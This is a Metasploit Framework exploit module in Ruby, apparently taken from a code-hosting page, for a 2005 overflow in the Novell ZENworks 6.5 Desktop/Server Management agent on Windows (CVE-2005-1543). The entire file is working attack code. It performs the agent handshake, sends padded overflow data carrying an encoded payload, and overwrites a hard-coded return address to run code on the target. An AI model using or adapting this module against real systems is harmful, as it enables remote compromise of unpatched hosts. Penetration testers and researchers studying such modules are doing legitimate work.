99 lines
2.3 KiB
Ruby
99 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Novell::ZenworksDesktopAgentOverflow < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
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'Description' => %q{
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This module exploits a heap overflow in the Novell ZENworks
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Desktop Management agent. This vulnerability was discovered
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by Alex Wheeler.
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},
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'Author' => [ 'anonymous' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '16698'],
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[ 'CVE', '2005-1543'],
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[ 'BID', '13678'],
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[ 'MIL', '91'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 32767,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
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{
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'Platform' => 'win',
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'Ret' => 0x10002e06,
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},
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],
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],
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'DisclosureDate' => 'May 19 2005',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
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print_status("Sending version identification")
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sock.put(hello)
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pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
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ident = sock.get_once
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if (not (ident and ident.length == 16))
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print_status("Failed to receive agent version identification")
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return
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end
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print_status("Received agent version identification")
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print_status("Sending client acknowledgement")
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sock.put("\x00\x01")
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# Stack overflow in ZenRem32.exe / ZENworks Server Management
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sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
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ack = sock.get_once
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sock.put("\x00\x01")
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sock.put("\x00\x02")
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print_status("Sending final payload")
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sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
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print_status("Overflow request sent, sleeping for four seconds")
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sleep(4)
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handler
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disconnect
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end
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end
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end
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